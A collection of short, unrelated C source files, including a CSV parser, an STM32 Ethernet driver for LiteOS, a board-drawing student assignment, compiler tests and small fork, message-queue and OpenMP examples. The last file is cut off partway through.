default:
fprintf(stderr, "unexpected axis %c\n", axis);
exit(EXIT_FAILURE);
}
}
}
}
for (y = 0; y < mmax; ++y) {
for (x = 0; x < nmax; ++x) {
printf("%c", matrix[AT(y, x)]);
}
printf("\n");
}
free(matrix);
return EXIT_SUCCESS;
}
|
the_stack_data/211081567.c
|
// RUN: clang -o %t-opt %s -O2 -mno-sse
// RUN: llvm-mctoll -d %t-opt
// RUN: clang -o %t-opt-dis %t-opt-dis.ll
// RUN: %t-opt-dis 2>&1 | FileCheck %s
// CHECK: ret 90
// CHECK: ret 250
/*
* Code will poduce MI as follows:
* CALL64pcrel32 48, <0x55c021faa7a8>, implicit $rsp, implicit $ssp
* $ebx = MOVSX32rr16 $ax, <0x55c021faa8c8>
*/
#include <stdio.h>
#define call_big(x) (0xf000 | (x))
signed short A[16] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15};
signed short B[16] = {2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 12, 2, 2, 2};
static signed int C[16] = {0};
signed short __attribute__((noinline))
call_test(unsigned int N, signed int *C, signed short *A, signed short *B,
signed short val);
signed short call_sum(unsigned int N, signed int *C, signed short clipval);
void call_mul_const(unsigned int N, signed int *C, signed short *A,
signed short val);
void call_mul_vect(unsigned int N, signed int *C, signed short *A,
signed short *B);
void call_add_const(unsigned int N, signed short *A, signed short val);
unsigned short bar(unsigned char data, unsigned short arg) {
unsigned char i = 0, x16 = 0, carry = 0;
for (i = 0; i < 8; i++) {
x16 = (unsigned char)((data & 1) ^ ((unsigned char)arg & 1));
data >>= 1;
if (x16 == 1) {
arg ^= 0x4002;
carry = 1;
} else
carry = 0;
arg >>= 1;
if (carry)
arg |= 0x8000;
else
arg &= 0x7fff;
}
return arg;
}
unsigned short foo(unsigned short newval, unsigned short arg) {
arg = bar((unsigned char)(newval), arg);
arg = bar((unsigned char)((newval) >> 8), arg);
return arg;
}
unsigned short call(signed short newval, unsigned short arg) {
return foo((unsigned short)newval, arg);
}
int bench_call() {
unsigned int N = 4;
short val = 2;
unsigned int arg = 0x0102;
signed short ret1 = call_test(N, C, A, B, val);
printf("ret %d\n", ret1);
int result2 = call(ret1, arg);
return result2;
}
signed short __attribute__((noinline))
call_test(unsigned int N, signed int *C, signed short *A, signed short *B,
signed short val) {
unsigned short arg = 0;
signed short clipval = call_big(val);
call_mul_const(N, C, A, val);
arg = call(call_sum(N, C, clipval), arg);
call_mul_vect(N, C, A, B);
arg = call(call_sum(N, C, clipval), arg);
call_add_const(N, A, -val);
return arg;
}
signed short call_sum(unsigned int N, signed int *C, signed short clipval) {
signed int tmp = 0, prev = 0, cur = 0;
signed short ret = 0;
unsigned int i, j;
for (i = 0; i < N; i++) {
for (j = 0; j < N; j++) {
cur = C[i * N + j];
tmp += cur;
if (tmp > clipval) {
ret += 10;
tmp = 0;
} else {
ret += (cur > prev) ? 1 : 0;
}
prev = cur;
}
}
return ret;
}
void call_mul_const(unsigned int N, signed int *C, signed short *A,
signed short val) {
unsigned int i, j;
for (i = 0; i < N; i++) {
for (j = 0; j < N; j++) {
C[i * N + j] = (signed int)A[i * N + j] * (signed int)val;
}
}
}
void call_mul_vect(unsigned int N, signed int *C, signed short *A,
signed short *B) {
unsigned int i, j;
for (i = 0; i < N; i++) {
C[i] = 0;
for (j = 0; j < N; j++) {
C[i] += (signed int)A[i * N + j] * (signed int)B[j];
}
}
}
void call_add_const(unsigned int N, signed short *A, signed short val) {
unsigned int i, j;
for (i = 0; i < N; i++) {
for (j = 0; j < N; j++) {
A[i * N + j] += val;
}
}
}
int main() {
int ret = bench_call();
printf("ret %d\n", ret);
return 0;
}
|
the_stack_data/122014233.c
|
/*--------------------------------------------------------------------------------------------------------------------------*/
// Milestone 1
// milestone_1.c
/*I declare that the attached assignment is wholly my own work in accordance with Seneca Academic Policy. No part of this assignment has been copied manually or electronically from any other source (including web sites) or distributed to other students.*/
/*--------------------------------------------------------------------------------------------------------------------------*/
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
/*--------------------------------------------------------------------------------------------------------------------------*/
char getTileType(unsigned int);
void displayBoard(unsigned int);
void topBoxes(int);
void middleBoxes(int);
void boxSpaces(int);
void bottomBoxes(int);
/*--------------------------------------------------------------------------------------------------------------------------*/
int main(void)
{
int s = 1;
printf("--Program Start--\n\n");
if (getTileType(153) != 'W')
printf("153 should return W");
else if (getTileType(65) != 'L')
printf("65 should return L");
else if (getTileType(49) != 'G')
printf("49 should return G");
else if (getTileType(0) != 'C')
printf("0 should return C");
else if (getTileType(105) != 'G')
printf("105 should be G");
else if (getTileType(79) != ' ')
printf("79 should be space");
else
{
printf("getTileType test passed!\nEnter board size: ");
scanf("%d", &s);
//printf("\n");
displayBoard(s);
}
printf("\n\n--Program End--\n\n");
return 0;
}
/*--------------------------------------------------------------------------------------------------------------------------*/
char getTileType(unsigned int index)
{
char k;
if (index == 0)
k = 'C';
else if (index % 7 == 0)
k = 'G';
else if (index % 5 == 0)
k = 'L';
else if (index % 3 == 0)
k = 'W';
else
k = ' ';
return k;
}
/*--------------------------------------------------------------------------------------------------------------------------*/
void displayBoard(unsigned int size)
{
topBoxes(size);
if (size > 2) /* no middle boxes for less than board size 3 */
{
middleBoxes(size);
}
if (size > 1) /* no bottom boxes for board size 1 */
{
bottomBoxes(size);
}
}
/*--------------------------------------------------------------------------------------------------------------------------*/
void topBoxes(int size)
{
int i;
for (i = 0; i < size; i++) /* printing top parts of top boxes */
{
printf(" ___ ");
}
printf("\n");
for (i = 0; i < size; i++) /* printing middle part with the tiles of top boxes */
{
printf("| %c |", getTileType(i));
}
printf("\n");
for (i = 0; i < size; i++) /* printing bottom parts of top boxes */
{
printf("|___|");
}
printf("\n");
}
/*--------------------------------------------------------------------------------------------------------------------------*/
void middleBoxes(int size)
{
int i, r, minus = (size - 2), tileLeft = ((size * 4) - 5), tileRight = size; /* formula for the tile number calculation */
for (r = 0; r < minus; r++) /* for loop for the # of rows */
{
for (i = 0; i < 2; i++) /* printing top parts of mid boxes */
{
printf(" ___ ");
boxSpaces(minus); /* printing the space in the middle */
}
printf("\n");
printf("| %c |", getTileType(tileLeft)); /* printing middle part of the LEFT box in middle */
tileLeft--;
boxSpaces(minus); /* printing the space in the middle */
printf("| %c |", getTileType(tileRight)); /* printing middle part of the RIGHT box in middle */
tileRight++;
printf("\n");
for (i = 0; i < 2; i++) /* printing bottom parts of middle boxes */
{
printf("|___|");
boxSpaces(minus); /* printing the space in the middle */
}
printf("\n");
}
}
/*--------------------------------------------------------------------------------------------------------------------------*/
void boxSpaces(int times) /* makes (size #) - 2 times of spacing */
{
for (int i = 0; i < times; i++)
printf(" "); /* makes the empty space inside the main big square */
}
/*--------------------------------------------------------------------------------------------------------------------------*/
void bottomBoxes(int size) /* exactly the same as topBoxes() except for the tile in getTileType() */
{
int i, tile = ((size * 3) - 3); /* formula for the tile number calculation */
for (i = 0; i < size; i++) /* printing top parts of bottom boxes */
{
printf(" ___ ");
}
printf("\n");
for (i = 0; i < size; i++) /* printing middle parts with tiles of bottom boxes */
{
printf("| %c |", getTileType(tile));
tile--;
}
printf("\n");
for (i = 0; i < size; i++) /* printing bottom parts of bottom boxes */
{
printf("|___|");
}
printf("\n");
}
/*--------------------------------------------------------------------------------------------------------------------------*/
|
the_stack_data/508324.c
|
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc,char **argv)
{
int a=10;
pid_t pid=fork();
if(pid>0){
a=11;
printf("father1: %d\n",a);
sleep(4);
printf("father2: %d\n",a);
}
else if(pid == 0){
sleep(2);
printf("children1: %d\n",a);
a=12;
printf("children2: %d\n",a);
}
return 0;
}
|
the_stack_data/80231.c
|
#include <stdlib.h>
#include <string.h>
/*jhehe*/
/* mabye*/
/*er det her også fint*/
/* det her virker ikke*/
void free_csv_line( char **parsed ) {
char **ptr;
for ( ptr = parsed; *ptr; ptr++ ) {
free( *ptr );
}
free( parsed );
}
static int count_fields( const char *line ) {
const char *ptr;
int cnt, fQuote;
for ( cnt = 1, fQuote = 0, ptr = line; *ptr; ptr++ ) {
if ( fQuote ) {
if ( *ptr == '\"' ) {
if ( ptr[1] == '\"' ) {
ptr++;
continue;
}
fQuote = 0;
}
continue;
}
switch( *ptr ) {
case '\"':
fQuote = 1;
continue;
case ',':
cnt++;
continue;
default:
continue;
}
}
if ( fQuote ) {
return -1;
}
return cnt;
}
/*
* Given a string containing no linebreaks, or containing line breaks
* which are escaped by "double quotes", extract a NULL-terminated
* array of strings, one for every cell in the row.
*/
char **parse_csv( const char *line ) {
char **buf, **bptr, *tmp, *tptr;
const char *ptr;
int fieldcnt, fQuote, fEnd;
fieldcnt = count_fields( line );
if ( fieldcnt == -1 ) {
return NULL;
}
buf = malloc( sizeof(char*) * (fieldcnt+1) );
if ( !buf ) {
return NULL;
}
tmp = malloc( strlen(line) + 1 );
if ( !tmp ) {
free( buf );
return NULL;
}
bptr = buf;
for ( ptr = line, fQuote = 0, *tmp = '\0', tptr = tmp, fEnd = 0; ; ptr++ ) {
if ( fQuote ) {
if ( !*ptr ) {
break;
}
if ( *ptr == '\"' ) {
if ( ptr[1] == '\"' ) {
*tptr++ = '\"';
ptr++;
continue;
}
fQuote = 0;
}
else {
*tptr++ = *ptr;
}
continue;
}
switch( *ptr ) {
case '\"':
fQuote = 1;
continue;
case '\0':
fEnd = 1;
case ',':
*tptr = '\0';
*bptr = strdup( tmp );
if ( !*bptr ) {
for ( bptr--; bptr >= buf; bptr-- ) {
free( *bptr );
}
free( buf );
free( tmp );
return NULL;
}
bptr++;
tptr = tmp;
if ( fEnd ) {
break;
} else {
continue;
}
default:
*tptr++ = *ptr;
continue;
}
if ( fEnd ) {
break;
}
}
*bptr = NULL;
free( tmp );
return buf;
}
|
the_stack_data/100884.c
|
/*
* Copyright 2020 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdio.h>
// -Wsign-conversion
void func002(void)
{
char *c = NULL;
int *p = NULL;
c = p;
}
int main(int argc, char *argv[])
{
func002();
return 0;
}
|
the_stack_data/208439.c
|
/*----------------------------------------------------------------------------
* Copyright (c) <2016-2018>, <Huawei Technologies Co., Ltd>
* All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its contributors may be used
* to endorse or promote products derived from this software without specific prior written
* permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*---------------------------------------------------------------------------*/
/*----------------------------------------------------------------------------
* Notice of Export Control Law
* ===============================================
* Huawei LiteOS may be subject to applicable export control laws and regulations, which might
* include those applicable to Huawei LiteOS of U.S. and the country in which you are located.
* Import, export and usage of Huawei LiteOS in any manner by you shall be in compliance with such
* applicable export control laws and regulations.
*---------------------------------------------------------------------------*/
#ifdef WITH_LWIP
#include "eth.h"
#include "stm32f4xx_hal.h"
#include "stm32f4xx_hal_eth.h"
#include "lwip/timeouts.h"
#include "netif/etharp.h"
#include <string.h>
#define netifINTERFACE_TASK_STACK_SIZE ( 4096u )
#define netifINTERFACE_TASK_PRIORITY ( 6u )
/* The time to block waiting for input. */
#define TIME_WAITING_FOR_INPUT ( 500u )
/* Semaphore to signal incoming packets */
static sys_sem_t s_xSemaphore;
/* Private variables ---------------------------------------------------------*/
#if defined ( __ICCARM__ ) /*!< IAR Compiler */
#pragma data_alignment=4
#endif
__ALIGN_BEGIN ETH_DMADescTypeDef DMARxDscrTab[ETH_RXBUFNB] __ALIGN_END;/* Ethernet Rx MA Descriptor */
#if defined ( __ICCARM__ ) /*!< IAR Compiler */
#pragma data_alignment=4
#endif
__ALIGN_BEGIN ETH_DMADescTypeDef DMATxDscrTab[ETH_TXBUFNB] __ALIGN_END;/* Ethernet Tx DMA Descriptor */
#if defined ( __ICCARM__ ) /*!< IAR Compiler */
#pragma data_alignment=4
#endif
__ALIGN_BEGIN uint8_t Rx_Buff[ETH_RXBUFNB][ETH_RX_BUF_SIZE] __ALIGN_END; /* Ethernet Receive Buffer */
#if defined ( __ICCARM__ ) /*!< IAR Compiler */
#pragma data_alignment=4
#endif
__ALIGN_BEGIN uint8_t Tx_Buff[ETH_TXBUFNB][ETH_TX_BUF_SIZE] __ALIGN_END; /* Ethernet Transmit Buffer */
/* Global Ethernet handle */
static ETH_HandleTypeDef heth;
static uint8_t MACAddr[6];
/* Os ethernet interrupt handler */
void ETH_IRQHandler(void)
{
HAL_ETH_IRQHandler(&heth);
}
/**
* @brief Ethernet Rx Transfer completed callback
* @param heth: ETH handle
* @retval None
*/
void HAL_ETH_RxCpltCallback(ETH_HandleTypeDef *pheth)
{
(void)pheth;
sys_sem_signal(&s_xSemaphore);
}
/* Private functions ---------------------------------------------------------*/
void HAL_ETH_MspInit(ETH_HandleTypeDef *ethHandle)
{
GPIO_InitTypeDef GPIO_InitStruct;
__HAL_RCC_GPIOC_CLK_ENABLE();
__HAL_RCC_GPIOH_CLK_ENABLE();
__HAL_RCC_GPIOA_CLK_ENABLE();
__HAL_RCC_GPIOB_CLK_ENABLE();
__HAL_RCC_GPIOG_CLK_ENABLE();
__HAL_RCC_GPIOI_CLK_ENABLE();
if (ethHandle->Instance == ETH)
{
/* USER CODE BEGIN ETH_MspInit 0 */
/* USER CODE END ETH_MspInit 0 */
/* Enable Peripheral clock */
__HAL_RCC_ETH_CLK_ENABLE();
/**ETH GPIO Configuration
PC1 ------> ETH_MDC
PA1 ------> ETH_REF_CLK
PA2 ------> ETH_MDIO
PA7 ------> ETH_CRS_DV
PC4 ------> ETH_RXD0
PC5 ------> ETH_RXD1
PB11 ------> ETH_TX_EN
PG13 ------> ETH_TXD0
PG14 ------> ETH_TXD1
PI1 ------> ETH_NRST
*/
GPIO_InitStruct.Pin = GPIO_PIN_1;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH;
HAL_GPIO_Init(GPIOI, &GPIO_InitStruct);
HAL_GPIO_WritePin(GPIOI, GPIO_PIN_1, GPIO_PIN_RESET);
HAL_Delay(1000);
HAL_GPIO_WritePin(GPIOI, GPIO_PIN_1, GPIO_PIN_SET);
HAL_Delay(1000);
GPIO_InitStruct.Pin = GPIO_PIN_1 | GPIO_PIN_4 | GPIO_PIN_5;
GPIO_InitStruct.Mode = GPIO_MODE_AF_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH;
GPIO_InitStruct.Alternate = GPIO_AF11_ETH;
HAL_GPIO_Init(GPIOC, &GPIO_InitStruct);
GPIO_InitStruct.Pin = GPIO_PIN_1 | GPIO_PIN_2 | GPIO_PIN_7;
GPIO_InitStruct.Mode = GPIO_MODE_AF_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH;
GPIO_InitStruct.Alternate = GPIO_AF11_ETH;
HAL_GPIO_Init(GPIOA, &GPIO_InitStruct);
GPIO_InitStruct.Pin = GPIO_PIN_11;
GPIO_InitStruct.Mode = GPIO_MODE_AF_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH;
GPIO_InitStruct.Alternate = GPIO_AF11_ETH;
HAL_GPIO_Init(GPIOB, &GPIO_InitStruct);
GPIO_InitStruct.Pin = GPIO_PIN_13 | GPIO_PIN_14;
GPIO_InitStruct.Mode = GPIO_MODE_AF_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH;
GPIO_InitStruct.Alternate = GPIO_AF11_ETH;
HAL_GPIO_Init(GPIOG, &GPIO_InitStruct);
/* USER CODE BEGIN ETH_MspInit 1 */
/* USER CODE END ETH_MspInit 1 */
}
}
void HAL_ETH_MspDeInit(ETH_HandleTypeDef *ethHandle)
{
if (ethHandle->Instance == ETH)
{
/* USER CODE BEGIN ETH_MspDeInit 0 */
/* USER CODE END ETH_MspDeInit 0 */
/* Peripheral clock disable */
__HAL_RCC_ETH_CLK_DISABLE();
/**ETH GPIO Configuration
PC1 ------> ETH_MDC
PA1 ------> ETH_REF_CLK
PA2 ------> ETH_MDIO
PA7 ------> ETH_CRS_DV
PC4 ------> ETH_RXD0
PC5 ------> ETH_RXD1
PB11 ------> ETH_TX_EN
PG13 ------> ETH_TXD0
PG14 ------> ETH_TXD1
*/
HAL_GPIO_DeInit(GPIOC, GPIO_PIN_1 | GPIO_PIN_4 | GPIO_PIN_5);
HAL_GPIO_DeInit(GPIOA, GPIO_PIN_1 | GPIO_PIN_2 | GPIO_PIN_7);
HAL_GPIO_DeInit(GPIOB, GPIO_PIN_11);
HAL_GPIO_DeInit(GPIOG, GPIO_PIN_13 | GPIO_PIN_14);
/* USER CODE BEGIN ETH_MspDeInit 1 */
/* USER CODE END ETH_MspDeInit 1 */
}
}
static void eth_thread(void *arg)
{
while (1)
{
sys_arch_sem_wait(&s_xSemaphore, TIME_WAITING_FOR_INPUT);
ethernetif_input(arg);
}
}
static int8_t eth_init(struct netif *netif)
{
HAL_StatusTypeDef hal_eth_init_status;
MACAddr[0] = 0x00;
MACAddr[1] = 0x80;
MACAddr[2] = 0xE1;
MACAddr[3] = 0x00;
MACAddr[4] = 0x00;
MACAddr[5] = 0x00;
/* Init ETH */
heth.Instance = ETH;
heth.Init.AutoNegotiation = ETH_AUTONEGOTIATION_ENABLE;
heth.Init.PhyAddress = LAN8742A_PHY_ADDRESS;
heth.Init.MACAddr = &MACAddr[0];
heth.Init.RxMode = ETH_RXINTERRUPT_MODE;
heth.Init.ChecksumMode = ETH_CHECKSUM_BY_HARDWARE;
heth.Init.MediaInterface = ETH_MEDIA_INTERFACE_RMII;
hal_eth_init_status = HAL_ETH_Init(&heth);
if (hal_eth_init_status == HAL_OK)
{
/* Set netif link flag */
netif->flags |= NETIF_FLAG_LINK_UP;
}
else
{
return hal_eth_init_status;
}
#if LWIP_IPV6_MLD
{
/* add 33:33:xx:xx:xx:xx for ipv6 multicast */
uint8_t ipv6_multicast_mac[6] = {0x33, 0x33, 0, 0, 0, 0};
const uint32_t enable_bitmap = 0x30;
(void)HAL_ETH_EnableMulticastMacAddr(&heth, ETH_MAC_ADDRESS1, ipv6_multicast_mac, enable_bitmap);
}
#endif
/* Initialize Tx Descriptors list: Chain Mode */
(void)HAL_ETH_DMATxDescListInit(&heth, DMATxDscrTab, &Tx_Buff[0][0], ETH_TXBUFNB);
/* Initialize Rx Descriptors list: Chain Mode */
(void)HAL_ETH_DMARxDescListInit(&heth, DMARxDscrTab, &Rx_Buff[0][0], ETH_RXBUFNB);
#if LWIP_ARP || LWIP_ETHERNET
/* set MAC hardware address length */
netif->hwaddr_len = ETH_HWADDR_LEN;
/* set MAC hardware address */
netif->hwaddr[0] = heth.Init.MACAddr[0];
netif->hwaddr[1] = heth.Init.MACAddr[1];
netif->hwaddr[2] = heth.Init.MACAddr[2];
netif->hwaddr[3] = heth.Init.MACAddr[3];
netif->hwaddr[4] = heth.Init.MACAddr[4];
netif->hwaddr[5] = heth.Init.MACAddr[5];
/* maximum transfer unit */
netif->mtu = 1500;
/* Accept broadcast address and ARP traffic */
/* don't set NETIF_FLAG_ETHARP if this device is not an ethernet one */
#if LWIP_ARP
netif->flags |= NETIF_FLAG_BROADCAST | NETIF_FLAG_ETHARP;
#else
netif->flags |= NETIF_FLAG_BROADCAST;
#endif /* LWIP_ARP */
#if LWIP_IPV6_MLD
netif->flags |= NETIF_FLAG_MLD6;
#endif
if (ERR_OK != sys_sem_new(&s_xSemaphore, 1))
{
return -1;
}
/* create the task that handles the ETH_MAC */
sys_thread_new((char *)"Eth_if", eth_thread, netif, netifINTERFACE_TASK_STACK_SIZE, netifINTERFACE_TASK_PRIORITY);
/* Enable MAC and DMA transmission and reception */
(void)HAL_ETH_Start(&heth);
#endif /* LWIP_ARP || LWIP_ETHERNET */
return 0;
}
static int8_t eth_output(struct netif *netif, struct pbuf *p)
{
err_t errval;
struct pbuf *q;
uint8_t *buffer = (uint8_t *)(heth.TxDesc->Buffer1Addr);
__IO ETH_DMADescTypeDef *DmaTxDesc;
uint32_t framelength = 0;
uint32_t bufferoffset = 0;
uint32_t byteslefttocopy = 0;
uint32_t payloadoffset = 0;
DmaTxDesc = heth.TxDesc;
bufferoffset = 0;
/* copy frame from pbufs to driver buffers */
for (q = p; q != NULL; q = q->next)
{
/* Is this buffer available? If not, goto error */
if ((DmaTxDesc->Status & ETH_DMATXDESC_OWN) != (uint32_t)RESET)
{
errval = ERR_USE;
goto error;
}
/* Get bytes in current lwIP buffer */
byteslefttocopy = q->len;
payloadoffset = 0;
/* Check if the length of data to copy is bigger than Tx buffer size*/
while ( (byteslefttocopy + bufferoffset) > ETH_TX_BUF_SIZE )
{
/* Copy data to Tx buffer*/
memcpy( (uint8_t *)((uint8_t *)buffer + bufferoffset), (uint8_t *)((uint8_t *)q->payload + payloadoffset), (ETH_TX_BUF_SIZE - bufferoffset) );
/* Point to next descriptor */
DmaTxDesc = (ETH_DMADescTypeDef *)(DmaTxDesc->Buffer2NextDescAddr);
/* Check if the buffer is available */
if ((DmaTxDesc->Status & ETH_DMATXDESC_OWN) != (uint32_t)RESET)
{
errval = ERR_USE;
goto error;
}
buffer = (uint8_t *)(DmaTxDesc->Buffer1Addr);
byteslefttocopy = byteslefttocopy - (ETH_TX_BUF_SIZE - bufferoffset);
payloadoffset = payloadoffset + (ETH_TX_BUF_SIZE - bufferoffset);
framelength = framelength + (ETH_TX_BUF_SIZE - bufferoffset);
bufferoffset = 0;
}
/* Copy the remaining bytes */
memcpy( (uint8_t *)((uint8_t *)buffer + bufferoffset), (uint8_t *)((uint8_t *)q->payload + payloadoffset), byteslefttocopy );
bufferoffset = bufferoffset + byteslefttocopy;
framelength = framelength + byteslefttocopy;
}
/* Prepare transmit descriptors to give to DMA */
(void)HAL_ETH_TransmitFrame(&heth, framelength);
errval = ERR_OK;
error:
/* When Transmit Underflow flag is set, clear it and issue a Transmit Poll Demand to resume transmission */
if ((heth.Instance->DMASR & ETH_DMASR_TUS) != (uint32_t)RESET)
{
/* Clear TUS ETHERNET DMA flag */
heth.Instance->DMASR = ETH_DMASR_TUS;
/* Resume DMA transmission*/
heth.Instance->DMATPDR = 0;
}
return errval;
}
static struct pbuf *eth_input(struct netif *netif)
{
struct pbuf *p = NULL;
struct pbuf *q = NULL;
uint16_t len = 0;
uint8_t *buffer;
__IO ETH_DMADescTypeDef *dmarxdesc;
uint32_t bufferoffset = 0;
uint32_t payloadoffset = 0;
uint32_t byteslefttocopy = 0;
uint32_t i = 0;
/* get received frame */
if (HAL_ETH_GetReceivedFrame(&heth) != HAL_OK)
{
return NULL;
}
/* Obtain the size of the packet and put it into the "len" variable. */
len = heth.RxFrameInfos.length;
buffer = (uint8_t *)heth.RxFrameInfos.buffer;
if (len > 0)
{
/* We allocate a pbuf chain of pbufs from the Lwip buffer pool */
p = pbuf_alloc(PBUF_RAW, len, PBUF_POOL);
}
if (p != NULL)
{
dmarxdesc = heth.RxFrameInfos.FSRxDesc;
bufferoffset = 0;
for (q = p; q != NULL; q = q->next)
{
byteslefttocopy = q->len;
payloadoffset = 0;
/* Check if the length of bytes to copy in current pbuf is bigger than Rx buffer size*/
while ( (byteslefttocopy + bufferoffset) > ETH_RX_BUF_SIZE )
{
/* Copy data to pbuf */
memcpy( (uint8_t *)((uint8_t *)q->payload + payloadoffset), (uint8_t *)((uint8_t *)buffer + bufferoffset), (ETH_RX_BUF_SIZE - bufferoffset));
/* Point to next descriptor */
dmarxdesc = (ETH_DMADescTypeDef *)(dmarxdesc->Buffer2NextDescAddr);
buffer = (uint8_t *)(dmarxdesc->Buffer1Addr);
byteslefttocopy = byteslefttocopy - (ETH_RX_BUF_SIZE - bufferoffset);
payloadoffset = payloadoffset + (ETH_RX_BUF_SIZE - bufferoffset);
bufferoffset = 0;
}
/* Copy remaining data in pbuf */
memcpy( (uint8_t *)((uint8_t *)q->payload + payloadoffset), (uint8_t *)((uint8_t *)buffer + bufferoffset), byteslefttocopy);
bufferoffset = bufferoffset + byteslefttocopy;
}
}
/* Release descriptors to DMA */
/* Point to first descriptor */
dmarxdesc = heth.RxFrameInfos.FSRxDesc;
/* Set Own bit in Rx descriptors: gives the buffers back to DMA */
for (i = 0; i < heth.RxFrameInfos.SegCount; i++)
{
dmarxdesc->Status |= ETH_DMARXDESC_OWN;
dmarxdesc = (ETH_DMADescTypeDef *)(dmarxdesc->Buffer2NextDescAddr);
}
/* Clear Segment_Count */
heth.RxFrameInfos.SegCount = 0;
/* When Rx Buffer unavailable flag is set: clear it and resume reception */
if ((heth.Instance->DMASR & ETH_DMASR_RBUS) != (uint32_t)RESET)
{
/* Clear RBUS ETHERNET DMA flag */
heth.Instance->DMASR = ETH_DMASR_RBUS;
/* Resume DMA reception */
heth.Instance->DMARPDR = 0;
}
return p;
}
struct ethernet_api g_eth_api = {
.init = eth_init,
.output = eth_output,
.input = eth_input,
};
#endif
|
the_stack_data/520474.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_MESG 128
// structure for message queue
struct mesg_buffer {
long mesg_type;
char mesg_text[MAX_MESG];
} message;
int main(int argc, char *argv[])
{
if (argc != 3){
fprintf(stderr, "Usage: %s <key> <name[MAX_MESG:%d]>\n", argv[0], MAX_MESG);
exit(1);
}
int seed = atoi(argv[1]);
key_t key = ftok(".", seed);
int msgid = msgget(key, 0666 | IPC_CREAT);
message.mesg_type = 1;
strncpy(message.mesg_text, argv[2], MAX_MESG);
// display the message
printf("Sending to MSGID %d: %s \n", msgid, message.mesg_text);
// msgsnd to send message
msgsnd(msgid, &message, sizeof(message), 0);
return 0;
}
|
the_stack_data/125139835.c
|
#include <stdio.h>
int main(){
printf("%d => %c\n", 65, 65); // A
printf("%d => %c\n", 66, 66); // B
printf("%d => %c\n", 48, 48); // 0
printf("%d => %c\n", 49, 49); // 1
printf("%d => %c\n", 97, 97); // a
printf("%d => %c\n", 98, 98); // b
return 0;
}
|
the_stack_data/22013367.c
|
/*
@文件:write.c
@作者: CSHF[https://github.com/CSHF-yhhhh]
@说明: 驱动相关函数
*/
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
//打开设备驱动,如:/dev/cshfFirewall
int OpenDev(char *name)
{
printf("%s\n", name);
int fd = open(name, O_RDWR);
if (fd < 0)
return -1;
return fd;
}
//向驱动中写信息
int WriteDev(int fd, char *msg)
{
int ret = write(fd, msg, strlen(msg));
if (ret < 0)
{
perror("Failed to write the message to the device.");
return errno;
}
return ret;
}
//关闭驱动
int CloseDev(int fd)
{
close(fd);
return 1;
}
|
the_stack_data/93888769.c
|
int main(){
int j = 10, z = 120, k;
int i = 2, t, l;
i &= 20 + j;
i *= 20 + i + z;
int d;
d = i;
return d;
}
|
the_stack_data/140596.c
|
#include <stdlib.h>
#include <stdbool.h>
#include <memory.h>
#include <math.h>
/** Возвращаем 0 если все скопировалось удачно и > 0 необходимое количество элементов */
int key(const int *pb_src, const int *pe_src, int *pb_dst, int size) {
int *it;
int *end_search = (int *)pe_src;
int c = 0;
bool ge = false;
(*pb_dst) = 0;
for (it = (int *) pb_src; it < end_search; ++it, c++) {
if ((*it) < 0)
break;
if (c < size) {
pb_dst[c] = (*it);
} else {
ge = true;
}
}
return ge ? c : 0;
}
|
the_stack_data/48027.c
|
#include <stdlib.h>
#include <stdio.h>
#include "omp.h"
#define N 25
/* Q1: Is the code printing what you expect? Is it executing */
/* in parallel? */
struct node {
int data;
int fibdata;
int threadnum;
struct node* next;
};
int fib(int n) {
int x, y;
if (n < 2) {
return(1);
} else {
x = fib(n - 1);
y = fib(n - 2);
return (x + y);
}
}
void processwork(struct node* p)
{
int n;
n = p->data;
p->fibdata += fib(n);
p->threadnum = omp_get_thread_num();
}
